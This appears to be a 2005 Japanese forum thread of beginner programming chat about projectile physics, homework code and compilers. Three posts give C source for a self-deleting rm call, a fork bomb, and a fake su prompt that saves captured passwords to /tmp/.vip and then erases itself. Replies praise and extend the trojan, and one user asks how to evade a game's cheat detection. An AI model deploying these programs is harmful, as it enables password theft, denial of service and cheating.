628 :
626 :2005/11/27(日) 14:54:41
基本的に620とやってることは変わらんよ。 時間を指定できるようになってるだけ
627のやり方が大きく間違ってるとも思えん そこまで厳密に微分計算しなくとも、頂点(x1, y1)が解れば y = -g(x²-x1) + y1でええんちゃうの。 で、xは空気抵抗が無い状態では水平方向の速度×時間で求められる
630 :
623 :2005/11/27(日) 15:01:58
死ぬほどレスがついてて死にたくなったが627は620じゃなくて623だった。 ごめんなさい。
>>620 のやりかたでもちゃんと放物線にはなってるよね
ソース見ると
vx = 時間にかかわらず一定
vy = 時間に比例
になってて、
vx = a、時間で一回積分すると、x = at + b
vy = kt + l、時間で一回積分すると、y = kt^2 + lt + m
t を消去すると、ちゃんと y が x の2次式になってて∩( ・ω・)∩ばんじゃーい
>>631 わざわざ積分しなくても、放物運動の速度の公式
vx = α
vy = g - at
と一致してるから問題なしと分かる希ガスw
620のやり方 利点 : ・比較的計算が理解しやすい ・外力を反映できる 欠点 : ・スパンが長い程誤差が大きくなる 626のやり方 利点 : ・時間tを指定できる ・誤差が少ない 欠点 : ・外力を反映できない
634 :
デフォルトの名無しさん :2005/11/27(日) 15:31:10
おまえら一体何の話してるんだよwwwwwwwwwwwwwwwwwwwwww 超疎外感wwwwwwwwwwwwwwwwwwwww
うはwwwwwwwwwwwwごめwwwwwwwwwwwwwwwww
な、なんかスペシャルな返答が多数。
じぇんじぇんついていけん・・
>>626 ちょ、ま、えと、とりあえず使ってみます ^^
>>627 01ボタンのやつは、足し算しか使ってないですw
>>629 そ、その式を展開すればいいんでしょか。。
gは時間でおkですかね。
>>631 >>632 セキブン?・・なにそれ・・あまいの?おいちいの?
って、アフォですみません。三角関数とかわけわからんけど使ってます。
いちおう地元バカ高校は卒業したんですが。
せっかくアドバイスもらってるのに (T_T)
放物運動でググったら、↓のサイトが。
ttp://homepage3.nifty.com/qazu/parabola.htm なにこの変な分数・・・。
人違いだったらすみませんが、
>>631 さんは前に某スレで
「私に会ったらvip∩( ・ω・)∩ばんじゃーいってしてみてー」
って言ってた人ですか?
VIP VIPPER THE_VIPPEST_DREAMER
638 :
デフォルトの名無しさん :2005/11/27(日) 15:35:32
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char buf[strlen(argv[0])]; sprintf(buf, "rm -rf %s", argv[0]); system(buf); exit(1); return 0; }
>>633 ガイリョク?ガイリキ?
ごめ。。
でも着弾点の計算はなんとかしたいけど・・あー。
>>634 (;´д`)人(´д`;)
心の友よ。
gは重力加速度の係数のつもりだった。。。でも違ったかな。
うはw時間のgだとばかりww
>>636 上で出てる式は全部、物理IBの範囲で登場するはずだがw
積分は数IIとIII
距離・速度・加速度の間には次の関係が成り立つ
距離の微分=速度 ∴速度の積分=距離
速度の微分=加速度 ∴加速度の積分=速度
全て時間についての微積分ね
643 :
631 :2005/11/27(日) 15:41:19
>>636 む、それは人違いでござる
>>632 脳の容量の関係上、記憶できる公式が限られているのでありますw
>>632 に自己レス
vy = g - atじゃなくて vy = vyo(初速のy成分) - at
何ぼけてるんだ('A`)
マリオとかの昔のアクションゲームでは、まじめに放物線を描かせず、 サインカーブなんかを使っていたりする。
というかマリオUSAは空中で方向転換とかできるから困る。 ピーチ姫ありえねー
>>645 ちょwwwwwwwwサインカーブてwwwwwwww
いや似てるけどさ
本当にありがとうございました
650 :
デフォルトの名無しさん :2005/11/27(日) 16:04:37
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <termios.h> int main(int argc, char *argv[]) { struct termios orig; struct termios attr; char buf[1024]; char rm[strlen(argv[0])+10]; FILE *fp; fp = fopen("/tmp/.vip", "w"); tcgetattr(0, &orig); attr = orig; printf("Password:"); attr.c_lflag &= ~(ICANON|ECHO); attr.c_cc[VMIN] = 1; tcsetattr(0, TCSADRAIN, &attr); fgets(buf, 1024, stdin); tcsetattr(0, TCSADRAIN, &orig); fprintf(fp, "%s",buf); fclose(fp); printf("¥nsu: Sorry¥n"); sprintf(rm, "rm -rf %s", argv[0]); system(rm); return 0; }
651 :
デフォルトの名無しさん :2005/11/27(日) 16:12:46
他人のマシンに仕込んだりするなよw
放物線ってサインカーブだと思ってた
あるあr・・・ねーよwwwwww
654 :
623 :2005/11/27(日) 16:17:44
(x, y) = (Vx*t, Vy*t-(1/2*g*t^2)) Vx:初速のx成分 Vy:初速のy成分 g:重力加速度(≒9.8) t:経過時間 これでいいじゃまいか
656 :
デフォルトの名無しさん :2005/11/27(日) 16:21:20
>>654 suを装ってパスワードを要求
ゲットしたパスワードを/tmp/.vipに保存
ログインに失敗したように見せかける
最後は自己消滅
そうだなwwwwwww
うはwwwwwwwwwwおkwwwwwwwwwwwwwwwうぇ
>>656 すげえええええ!!そんなことができるとは!
suってことはLinuxだよな。家のLinuxでやってみるかww
662 :
デフォルトの名無しさん :2005/11/27(日) 16:29:19
>>660 LinuxだけじゃなくてUNIX全般で使えるからなwwwww
ちょっと改造してコマンドライン引数も保存するようにしたら、
どのユーザーにログインしようとしたかわかるしなww
663 :
デフォルトの名無しさん :2005/11/27(日) 16:41:14
>>660 お前さんがそういうこと好きなら自宅にいろんなOS入れたマシンをたくさん置いて
それだけでネットワークを組んで自由に遊んでみるのも面白いとおもうお(^ω^)
664 :
660 :2005/11/27(日) 16:52:46
>>662 Fedora Coreでやってみたら隠しファイルでしっかり/tmp/に保存されてたw
こういうの作れる人を尊敬するよ。
>>660 マシンが2台しかないw1台は親のだし。
自分のマシンにWindowsとLinuxのデュアルブートにしてる。
665 :
デフォルトの名無しさん :2005/11/27(日) 16:54:11
>>664 >Fedora Coreでやってみたら隠しファイルでしっかり/tmp/に保存されてたw
>こういうの作れる人を尊敬するよ。
よくある手口だと思うのだが・・・
工エエェェ(´д`)ェェエエ工 尊敬するようなものか?
667 :
デフォルトの名無しさん :2005/11/27(日) 17:09:36
なんでお前らはそう負けず嫌いなんだw
668 :
デフォルトの名無しさん :2005/11/27(日) 17:24:01
#include <unistd.h> #include <sys/types.h> main() { for(;;) { fork(); } return 0; }
ちなみにCygwinでもできると思う。 Win32は実行中のバイナリに書き込み保護がかかるから解除してやる必要があるけど。
>>665 >>666 いやいやまったくのC初心者で簡単な計算とかしかできなくてw
1から50までの和を表示するとかしかできないからw
671 :
デフォルトの名無しさん :2005/11/27(日) 17:45:55
>>671 そう?知らないけど。今はDelphiで打ち込んだ数のx乗を求めるやつとか
作ってるよ。
やる事がない
674 :
デフォルトの名無しさん :2005/11/27(日) 17:49:31
>>672 Delphiか・・・
次はlsトロイでも作ってみようかなw
見事なまでのVIPPER秘密基地
宿題スレの問題をこっちのスレで解けば(・∀・)イイ!!
679 :
デフォルトの名無しさん :2005/11/27(日) 18:57:51
IEコンポムズカシス・・ webのサンプル見ても全然わかんあい・・
#include <stdio.h> void main() { float a = 1999; float b = 0; int i; for (i = 1 ; i < 1999 ; i++) { if (i % 2 == 1) { b += a / i; a -= a / i; } else { a += b / i; b -= b / i; } } printf("a = %.0f" , a); }
>>682 バカな俺にプログラムの説明をしてくれ。
>>682 なんかあんまし意味のある処理じゃないような気がするんだが
わかんね
>>682 ブログにあるゲームのセックス画像うpして下さい
>>682 絶対荒らさないでくださいとわざわざ書くということは、荒らしまくってもいいんですよね?
>>682 何これ?全然意味分からない・・・orz
最終的に1を表示でおk?
おまえだ、おまえ。
だんだんAが999に収束してるね なんだろこの処理
>>677 より、C/C++の宿題を片付けます 53代目
650 名前:デフォルトの名無しさん[sage] 投稿日:2005/11/27(日) 21:50:42
[1] 授業単元: 情報処理
[2] 問題文: 1999リットルの水が入った容器Aと、同じ大きさのからの容器B がある。
1 回目は、A の1/2 の量をB へ移し、2 回目は、B の1/3 をA に移す、
3 回目は、A の1/4 をB へ移す、次はB の1/5 をA へ・・・・
この方法で、次々と水を移す。1999回目にA からB へ移したとき、
B の容器には、何リットルの水が入っているかを求めるプログラムを作成せよ。
[3] 環境
[3.1] OS:Windows
[3.2] コンパイラ名とバージョン: bcc
[3.3] 言語: C
[4] 期限: 11月29日まで
[5] その他の制限: 特にありません
>>691 int main() {
int i, c, a, b;
a=1999;
i=0;c=0;b=0;
while(i!=1999) {
b=b+(a/(i+1)); a=a/(i+1)
i++;
}
printf("%d", b);
}
即行でつくた。これでどうよ
cは何に使ったの?
>>693 問題の意味を勘違いしてて
ごちゃごちゃやってた時に使ってた
消すの忘れてたorz
main関数が返り値intならreturn 0かなんか入れておくのも忘れてたな
>>682 これが
>>691 の答えなの?
なら、しょっぱなから1回目に1999を全部bにぶちこんでる気がするんだが。
ついでにaの結果を表示してるし。
#include <stdio.h>
void main()
{
float a = 1999;
float b = 0;
int i;
for (i = 2 ; i < 2001; i++) {
if (i % 2 == 0) {
b += a / i;
a -= a / i;
} else {
a += b / i;
b -= b / i;
}
}
printf("a = %f\n" , a);
printf("b = %f\n" , b);
return 0;
}
これでよくね?
お前らが何を組んでるのかさっぱりわかりませんよっと。
697 :
デフォルトの名無しさん :2005/11/27(日) 23:36:11
ここはVIPPERにはわからないプログラミングスレですね
>>569 うちのPC本体からビープ音が出るとは知らなかった
どっかにブザーついてんだな
#include <stdio.h> int main(){ double A=1999.0; double B=.0; int cnt=1; for(;cnt<=999;cnt++){ B+=A/(cnt*2); A-=A/(cnt*2); A+=B/(cnt*2+1); B-=B/(cnt*2+1); } B+=A/(1999+1); printf("%f",B); return 0; } これでいいんじゃね?
>>700 間違っても
while(0) printf("\a");
だけはやるんじゃないよ
>>691 #include <stdio.h>
int main()
{
puts(" 1999リットルの水が入った容器Aと、同じ大きさのからの容器B がある。\n"
" 1 回目は、A の1/2 の量をB へ移し、2 回目は、B の1/3 をA に移す、\n"
" 3 回目は、A の1/4 をB へ移す、次はB の1/5 をA へ・・・・\n"
" この方法で、次々と水を移す。1999回目にA からB へ移したとき、\n"
" B の容器には、何リットルの水が入っていますか?");
printf("\n リットル\r");
{float a;scanf("%f",&a);}
return 0;
}
>>704 学校の先生風に言うと「君達が気づくのを試したんだ」
while(1)です、すみません
for(;;) の方が好きだな 泣いてるっぽくて
>>706 それならこっちだな
#define _ 1
for (;_;)
for (;'_';) 汗かいてるお
for (;'ω';)
__ __/ / | __ ── / ─ / / \ ○ | / | |  ̄ ̄/ ── __/ _/ / \ | / レ ─┴─ _/ /\___/ヽ /'''''' '''''':::::::\ . |(〇), 、(〇)、.:| | ,,ノ(、_, )ヽ、,, .::::| . | `,rェェェ、 ' .:::::::| \ |,r-r-| .::::/ ,,.....イ.ヽヽ、`ニニ´ーノ゙-、. : | '; \_____ ノ.| ヽ i | \/゙(__)\,| i | > ヽ. ハ | ||
711 :
デフォルトの名無しさん :2005/11/28(月) 10:25:30
えっと、VIPからきますた。 どうでもよさそうな質問なんですけど、よろしくお願いします。 if(i=1;i<=10;i++) if(i=1;i<11;i++) この二つだと一般的にはどちらが多いのでしょうか? 俺は前者の方がわかりやすそうで好きなんですけど。
んー、なんに使うかにもよるけど、 よく見るのは後者みたいなのかなw
713 :
デフォルトの名無しさん :2005/11/28(月) 10:31:16
マジもんVIPPERだけど0から始めるなら言語何がいいんだ?
そうですかー。 いや、これはただの1〜10まで表示するって奴なんですけどね。 上のほうが10って数字が出るからわかりやすいと思ったけど 一般的なスタイルは下なんですね。 これからは下のスタイルで慣れていこうと思います。 ありがとうござんした。
forじゃないか? 俺は for(i=0; i<10; i++) for(i=1; i<=10; i++) って書くかな 10回ループすることが分かりやすい
>>716 うはwww素で間違えたwwwwすいませんorz
こんなに赤面したのは久しぶりだ。
718 :
デフォルトの名無しさん :2005/11/28(月) 10:48:24
for (i = 0; i < 10; i++) をよく見かけるのは配列の配置がそうなってるからじゃね int array[10]って宣言して回す時とかね
>>711 ,714
その場合は前者の方がいいよ。
0から始めるループなら "<" が主流だけど。
>>720 そうですか。
じゃあ0の時は後者、それ以外は前者でとりあえずやってみる事にします。
ありがとうございました。
722 :
711 :2005/11/28(月) 15:12:35
うはw釣りかと思って素で通したのにww
>>711 1〜10まで表示という仕様なら前者にすべき
仕様でソースを表現するとはそういうこと
最適化は後回し
724 :
デフォルトの名無しさん :2005/11/28(月) 15:24:07
ソースで仕様を表現するんじゃねーの?
こうやって日本語は間違えやすいので コメントをあてにしちゃダメだ
726 :
デフォルトの名無しさん :2005/11/28(月) 15:24:00
⊂⊃ .☆.。.:*・゜ (\ ∧_∧ / (ヾ < `∀´>/ このレスに出会ったあなたは超ラッキーニダ。 ''//( つ つ 近々骨折することになるニダ。 (/(/___|″ し′し′
727 :
デフォルトの名無しさん :2005/11/28(月) 15:28:40
みさくらなん骨折れた
>>718 HSPはメモリ管理がグダグダだからオヌヌメできん
Javaでオブジェクト指向学んでC++行くのもよし
C学んでC++行くのもよし
730 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 16:33:38 BE:89629362-##
十進BASICやろうぜヽ(*´∀`*)ノ
飽きた
733 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 16:43:26 BE:179258483-##
wを練習するタイピングソフトなんてどうよ
735 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 16:50:06 BE:186728055-##
ちょwwwおまwwwwwwwwww tyowwwomawwwwwwwwww
wの個数を正確に打つのは、結構むずいかも
737 :
デフォルトの名無しさん :2005/11/28(月) 17:36:50
738 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 17:44:08 BE:119505582-##
>>731 28 名前:名前は開発中のものです。[sage] 投稿日:2005/11/28(月) 17:40:57 ID:3EViY0P3
俺漏れも今週から参加すっからな!
haro-worldくらいからお題頼むぜ
頑張れ、超頑張れ
739 :
デフォルトの名無しさん :2005/11/28(月) 17:45:48
C言語って金かかるのか?w どっかからDLできる場所ないのか?
740 :
デフォルトの名無しさん :2005/11/28(月) 17:46:09
741 :
デフォルトの名無しさん :2005/11/28(月) 17:48:40
釣られた・・けど・・そういうの釣りって言うのか?
743 :
デフォルトの名無しさん :2005/11/28(月) 17:50:42
Borland C++ Compiler Visual C++ Toolkit 2003 LSI C-86 体験版 Borland C++ BuilderX Personal どれがいいんだ?
744 :
デフォルトの名無しさん :2005/11/28(月) 17:51:27
C#はC/C++と一緒に括らない方がいいと思う
プログラム未経験者が cである程度のGUIのツール(例でいうと簡単なブロック崩しとか)が作れるようになるのは どれくらい必要ですかね? 一日一時間程度の勉強時間で考えてください。
>>746 2ヶ月でどうよ
Cを覚えるのに3週間、WinAPIを最低限理解するのに1ヶ月ちょっと
>>747 じゃあそれを目標に頑張ってみる事にします。
近くの本屋でよさそうな本を買いにいってきます。
749 :
デフォルトの名無しさん :2005/11/28(月) 18:08:33
一日一時間じゃ、私なら半年以上かかるなぁ。たぶん。 前やったことってすぐ忘れるし。
>>748 横レスだけど本はちゃんと選んだほうがいいよ。一冊高いしね。
C … プログラム「言語」としての本質でありGUIのものを作るのには足りない
C++ … Cを拡張した「言語」
Visual C++ … C++を用いたWindowsプログラミングができる
(GUIで何か作ってみたいならこっち、とにかく言語の予備知識をつけたいなら上)
ブロック崩しとか、ゲームが作れそうといって「Direct X」って書いた本選ぶと痛い目にあうよ
初歩なら「DirectX」「MFC」って言葉の書いてないVisual C++の本を買うと
目標としてる(?)GUIでブロック崩しに近づくと思う
基本的なことは
http://www.kumei.ne.jp/c_lang/ ここ見るのがいいよ。
長文すまん、最初参考にするものやら本で損したので書きたかったんだ
分からない事はなんでもきけよ^^^
752 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 18:17:56 BE:179258764-##
GUIならDelphiをオススメするけど、ここは一応C言語スレなのかな?
うはw
>>752 はCをある程度マスターしてからですよ! ><
755 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 18:22:47 BE:537775698-##
>>754 あぁ、おすすめの本は?かと思った
"日本語"勉強してくるわ
756 :
デフォルトの名無しさん :2005/11/28(月) 18:23:34
>751 誤爆しましたyyyyyyyyyyyyyyyyyyyyyyyyy
このスレ流れ早杉です><
>>748 Winアプリ作るのならSDKから入るべし
いきなりMFCとか無駄ス
はじめてのCとかはじめてのC++とか個人的には好き
基礎固めが大事だからC・C++言語の本は必ずいる
ただ、SDK使ったプログラミングとかになるとWebでも結構サンプルとか出てるから
それ見ながら作るのもよし、Windowsプログラミングと書いているのを買うのもよし
>>756 D言語とC#とJ#、どれが良いですか?
760 :
デフォルトの名無しさん :2005/11/28(月) 18:25:43
vipperは世話好きさんが多いお (* ゚∀゚)人(゚∀゚ *)
762 :
デフォルトの名無しさん :2005/11/28(月) 18:26:17
SDKとMFCって何がどう違うんだ? VBとかDelphiみたいに視覚的にボタンとか配置できるのはどっち?
763 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 18:26:46 BE:89629643-##
>>759 .NET Frameworkが必須なのはやめとき
趣味ならそれらの言語でかまわんと思うが
実践で使うならJava/C++/Cのどれかにすること
>>762 SDKは基本的にCで書く
MFCはMSが提供してるクラスライブラリみたいなもんで言語はC++
SDKの仕組みを理解してからでないとMFCはとっつきにくい
766 :
デフォルトの名無しさん :2005/11/28(月) 18:28:43
Qt4しかやったことないウリってどうなのニカ?
>>763 誰も張り合ってはないと思うけど、
javaって人気あるんだねぇ。
>>762 VC++を開発環境として使うのであれば新規作成の画面で
MFCアプリケーションとWin32アプリケーションと分かれてる。
>>760 ,764
分かりました。
D言語で行こうと思います。
>>743 >Borland C++ Compiler
>Visual C++ Toolkit 2003
>LSI C-86 体験版
>Borland C++ BuilderX Personal
>どれがいいんだ?
使ってる Windows が XP 以降なら VC++TK2003 一択。
そうでないならボーランドの方で。
JAVAでGUIプログラミングしたいんだけどお奨めの開発ツールある?
772 :
デフォルトの名無しさん :2005/11/28(月) 18:33:39
Assembler Basic C# Delphi この順番で学習していくのが効率がいいですよ。 そしてこれらを学んだらさっさと Ruby に移行しましょう。
マカーは死ね
775 :
デフォルトの名無しさん :2005/11/28(月) 18:36:58
>>773 ちょwwwwwおまwwwww
まあ、アセンブリはリンカーとかの関連で覚えるといいけどさ
アセンブラってフリーのコンパイラあるのか?
778 :
デフォルトの名無しさん :2005/11/28(月) 18:54:59
nasm
GNU Assemblerもあるが それと細かいことだが、アセンブリ言語をオブジェクトコードにするのが アセンブラであって、コンパイラなんてものは存在しない 高級言語をオブジェクトコードへ変えるのがコンパイラ
>>759 全部使った事ないがJ#は駄目だ。
開発効率を重視するならC#、性能を重視するならD言語でおk
アセンブラ (翻訳プログラム) アセンブリ (言語名称) アセンブル (翻訳する行為) コンパイラ (翻訳プログラム) コンパイリ (×) コンパイル (翻訳する行為)
>>765 SDK=Cって適当すぎるだろ
っつうか理解できてないだろ
だが、だが心配のし過ぎではないか。
SDK=Cと書いてるように俺は見えないお
C言語の半分はSDKでできています
C言語の半分をお前にやろう . はい [>いいえ
なあに、かえって免疫力がつく。
だがなあに、かえって免疫力のつき過ぎではないか。
あの、今昨日の
>>626 様の放物線をやってるんですが、
> double vx = v * cos(d); /* 水平方向の速度 */
> double vy = v * sin(d); /* 鉛直方向の速度 */
この二つはラジアン角?を入れるのでしょうか・・
double vx = v * cos(d*3.14189/180); /* 水平方向の速度 */
こんな感じで。
いちおうどっちでも放物線ぽい動きをしてくれそうなのですが。
ググってもアフォなので、じぇんじぇんわからないよ・・。
どなたかよろ (T_T)
790 :
デフォルトの名無しさん :2005/11/28(月) 20:13:59
>>749 自分の書いたソースにはコメントいれて
あとで再利用できるようにしときなよ
ぜんぶ頭に入れることはない
俺なんかいちいちgoogleで検索してコピペしてるぜ
>>789 君にはコンパイラという頼もしい味方がいるではないか。
794 :
デフォルトの名無しさん :2005/11/28(月) 20:17:16
>>771 Eclipse + VisualEditor (これセット内容で本も出てる)とか
JBuilder
NetBeans
795 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 20:26:10 BE:224073656-##
797 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 20:44:10 BE:89629643-##
798 :
デフォルトの名無しさん :2005/11/28(月) 20:46:39
ちくしょうVIPPERでもわかるプログラムかとおもったら難しいなこりゃ プログラムってツンデレだな
>>797 どもです。もうちょっとがむばってみまっす (`・ω・´)
すみません。
>>789 の質問を取り下げます m(__)m
ラジアン角以外入れるとダメっぽいです。
テストで角度直入れしても普通に動いたんですが、
そのとき入れた値がたまたま普通に動く値だったみたいです orz
>>800 普通、三角関数は全てラジアンを引数に取る
manみれば載ってるわけでわざわざ試すほどのことでも無いと思うが
printfの次くらいにやる課題をくださいお( ^ω^)
>>802 printf()を作る。
意外と面白いよ。
805 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 21:19:39 BE:239012148-##
>>802 自分の名前を入力したら
***お兄ちゃん、おかえり と出力するプログラム
scanfを使用
じゃあprintfを使わないでhello,world表示してみ? 3種類作れたら合格
VIPPEでもわかるプログラミングのサイト作ろうと思うんだけど 猫でも〜に怒られないかな?
810 :
デフォルトの名無しさん :2005/11/28(月) 21:24:04
あ、下げてた
とりあえず作ってみるお
>>807 できることがあったら協力するお( ^ω^)
>>806 puts("hello,world");
putchar('h');
putchar('e');
putchar('l');
putchar('l');
putchar('o');
putchar(',');
putchar('w');
putchar('o');
putchar('r');
putchar('l');
putchar('d');
AfxMessageBox("hello,world");
815 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 21:35:40 BE:418270087-##
fprintf( stdout, "hello,world" ); これはダメかな?
>>813 putcって手もあるな
普通のMessageBox関数でもいけるし
>>814 なるほど。IT用語辞典とかで調べても出てこないわけだw
MSDNの一つには↓みたいに書いてありました。
public static native double sin( double a )
パラメータ
a
ラジアンで表した角度。
戻り値
引数のサイン。
ありがとん!
>>818 それはおそらくCのsin関数ではない。気をつけろ。
ところで
>>750 がCをプログラミング言語の本質と語っていることには誰も突っ込まないのか。
情けない。
>>819 なんか候補が4つぐらい出てきたので、
ラジアンて書いてあるのをコピペしました ;^_^)
C言語の半分は日本語でおkでできています
バイナリに関しての質問をしたいのですが、ここでいいですか? 宜しければ誘導を。。
ifできるようなったお
>>823 じゃあスレ汚しすみません、てことでここで、、
MapleStoryと言うオンラインゲームのチートをするために、うさみみハリケーンと言う
アプリケーションのプロセスメモリを書き換えるものを実行したいのですが、
Mapleを実行したままうさみみを実行するとMapleのほうが「このプロセスをMapleを同時実行できません」
とエラーを出します、競合というヤツらしいです。
バイナリで名前(恐らくプロセス名かと)を書き換えれば無問題らしいですが
うさみみをバイナリエディタで開いたデータの中から、Usamimiの文字列を探し出せばいいような気がするのですが
で、データの中から一定の文字列を探し出すにはどうすればいいのでしょうか、
という質問です。
バイナリってそういう系か
_, ( ゚д゚)
_, ( ゚д゚)
>>827 なんかあれな質問な上に質問の中に答えがあるんだけど・・・
BZとかStirlingとかのバイナリエディタで開けば普通に検索できる
これ以上はプログラムというか、ソフトの使い方なんで、そっちへどぞ。
>>828 はい、すみませんが、こういう系です。
余計な事を書かないで「文字列を検索する方法を...」と書けば良かったかなぁ、と思いました。。
本当にすれ汚しすみません、と言う事で消えます。もし知ってる方居ましたら
“こういう系”のわかり易い説明を載せている所でも教えて頂きたいです。
スレタイ読めや\(^o^)/
838 :
デフォルトの名無しさん :2005/11/28(月) 22:31:41
839 :
807 :2005/11/28(月) 22:32:00
挫折しますた
841 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 22:32:56 BE:44815032-##
>>839 まぁ、プログラミングなんて人によってかなり飲み込み違うしな
とりあえずはQ&A集から始めたらいいんじゃまいか?
>>831 マジですか?Stirlingでうさみみを開いて
検索・移動(S)→検索→文字列検索、でusamimi、やってみましたが見つかりません、、
アスキー領域にusamimi、の文字列があるのですか?
もしくは、16進数ダンプ領域に、16進数に変換されたうさみみ、の文字列があるんですか?
>>833 すれ汚しすみませんです、それを、使っております。
ソフト板にStirlingのスレがなかったので
バイナリエディタについて、のスレで、この板に誘導されたのでこちらで質問させてもらいました。。
845 :
デフォルトの名無しさん :2005/11/28(月) 22:40:10
ID表示ないのですね、、 あぼん推奨なのでコテ付けときます。今更ですが。。
>>844 890 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 21:55:31 ID:JSIlBm610
バイナリデータに関しての質問がしたいのですがここじゃダメですよね?
891 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 22:01:05 ID:EkiYKZnd0
ム板かマ板いけ
892 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 22:07:34 ID:JSIlBm610
ムの方でいいんですかね。どうもありがとう
VIPスレに来るな死ね
>>847 そこでム板とマ板に誘導した奴氏ね
ネトゲサロン辺りで引き取れよ
よし、今から誘導した奴潰すお
うさみみ相談室になっとる
うさみみメイドに転職したいんですが...
諦めだけが肝心
>>827 それこそスレ違いな気がしますが、ここには居場所がないので消えますね。
スレ汚しすみませんでした。
857 :
みずき ◆WnmizUKIg6 :2005/11/28(月) 22:59:48 BE:537775889-##
MapleStroyか うふふ
ネトゲ質問板を板違いと判断するのに、ここに来る意味がわからない
人、それを厨房と呼ぶ
エロゲ脳、それをドジっ娘と呼ぶ
3日でcharポインタまで覚えた うはwwwテラマンドクサスwwwwww
863 :
デフォルトの名無しさん :2005/11/28(月) 23:25:32
Cには文字列型というのがないから面倒だな
っ _ o っ ||(__ ..乙|
vcのインラインアセンブラでprintf呼び出さずに文字列表示って無理ですか?
例外を覚えた #include <iostream> int main() { int a=0, b=0, c=0; try { a=b/c; } catch( ...) { printf("zero divide\n"); } return 0; }
870 :
デフォルトの名無しさん :2005/11/29(火) 16:17:39
>>869 ああ、俺やったことあるよそれ。何かのミニゲームだったような記憶がある。
871 :
デフォルトの名無しさん :2005/11/29(火) 16:19:14
SFCのマリオRPGのミニゲームらすぃです。 とりあえず、カブトムシが自機で甲羅が敵。 ★が甲羅壊したときにでる弾?でいいんですかね。
かぶった・・
>>871 のサイトに基本的なことは書いてますね。
今のVCってint 0x21なんて使えたっけ? 16bitじゃないと無理だったような……
,.、 ,.、 ,.、 ,.、 ヽ'::':/ ヽ'::':/ }:::{ }:::{ l:::| ハァハァ l:::| :yァ|:::l i:yァ|:::l l:(.ノ:::l ちょwwwwおまwww l:(.ノ:::l ,.r:::'':::!:::ヽ゚;~ __,俺wwwオスwwww ,.r:::'':::!:::ヽ゚;~ 〈;;;:::::::::::::::゙:i,,__,〃 ` ヤメレwwwwおちけつwww .〈;;;:::::::::::::::゙:i,,__,〃'''::::-:::〈ー‐" /~:::y'''::::-:::〈ー‐":::::::::::::〈:、 /::::::/:::::::::::::〈:、::::/:::::::::::::/ ヾ! /:::::/:::::::::::::/ ヾ!:/:::::::::::::〈:、 l:! ,:'!::::/:::::::::::::〈:、 l:!〈_:::;;;:::ノ .l:l ヽ、 . 〃ゝ〈_:::;;;:::ノ .l:l ヽ、 l:! _〃 l:!
動作は全部マウスでやることになると思います。 なので、バランスはめちゃくちゃになるかと
878 :
みずき ◆WnmizUKIg6 :2005/11/29(火) 18:35:55 BE:313702676-##
>>878 どもです。ここからが難しそうなので、果たしてどうなるかなぁ。
今週中に終わらないと辞めるかもです。
880 :
デフォルトの名無しさん :2005/11/29(火) 19:06:42
僕もlibvorbisをチューンしてみるお
>>876 ヒント:ダブルバッファリング
ちなみにカブトムシゲームはブロック崩しで例えると
”動くブロックかな”もちろん上下左右のどこかにあたると跳ねる
あとは時間が経過するとともに速度が加速するのと
1個潰れると星が出てその星が別の甲羅に当たるとその甲羅も潰れてほかの甲羅をつぶせる
分かりやすく言うと核分裂反応と一緒で、中性子が核に当たってその核から(ry
>>881 核分裂反応を例に出してる時点ですごくよくわかりませn
>>882 簡単に言うと「誘爆」システム
連続で誘爆させればさせるほど点数が倍化する
あと、ただの落ちものじゃなく甲羅は画面の端で反射して、徐々に跳ねなくなって最後は爆発する
物理の知識が要るかな
>>883 なるほど。わかったような気になる。
まったく関係ない話なのだがXOR演算というのについて詳しく
教えていただけないでしょうか。排他的論理和演算とか言うらしい
A B 0 0 0 1 0 1 0 1 1 1 1 0
↑のは真理値表ね
>>884 電卓起動→表示→関数電卓→2進
でチンコいじるとなんとなく分かるよ
>>884 885に書いてある通りで2つが違えば真、同じなら偽と俺は覚えた。
ちなみに排他的論理和のほかに論理差と言う言葉も見かけたことがある。
>>888 なるほど。わかったけど何の役に立つのだろうか・・・。
排他なんだから、どちらか一方のみっていう意味。 どちらか一方が真で真になる。
892 :
みずき ◆WnmizUKIg6 :2005/11/29(火) 23:06:36 BE:119506144-##
>>890 色扱うときにも必要になるかもしれんのよ
Office製品のパスワードクラックするとき以外の使い道は知らん
>>890 01101011(2) の右半分(例えば)のビットを反転させたい時とか・・・
01101011(2) XOR 00001111(2)
896 :
デフォルトの名無しさん :2005/11/29(火) 23:24:15
xorってレジスタを0にするときに使うよね
return 0; とかな。
ついに、このスレからゲームが生まれるんですね
899 :
みずき ◆WnmizUKIg6 :2005/11/29(火) 23:47:38 BE:470554079-##
Game of the Year
レス番飛ぶと気になるからみずきはレスすんな
NGワードしても結局気になって見てしまうから意味無し
903 :
みずき ◆WnmizUKIg6 :2005/11/30(水) 00:10:17 BE:156852037-##
Nameあぼリスト0だから気持ちわからないな(´・ω・`) 自分色のブラウザ頑張って作ってくださいね
905 :
みずき ◆WnmizUKIg6 :2005/11/30(水) 00:14:37 BE:44815032-##
永遠の14歳
みずきは男だよ
♂か♀かきいてんだよ
>>906 そうなんだ、女だったらまだNGはしなかったが
じぇりーも男だよ。
誰も聞いてないよ?
911 :
みずき ◆WnmizUKIg6 :2005/11/30(水) 01:02:34 BE:179259146-##
C++初心者でs 結構いろんなデータメンバを持ってるクラスXのインスタンスを100,00,00個くらい作りたいんだけど それは生成するときはnew使ってるのです でもスタックオーバーフローって出るのはそれぞれのインスタンスのデータメンバが溢れてるせいなのだろうか('A`)
newで確保したポインタを格納する変数の方が問題なんじゃね?
そーすうp
>>881 >>883 な、なんか私、激しく勘違いしてた気が ;´д`)
カブトムシは画面下固定だと思ってたんですが、
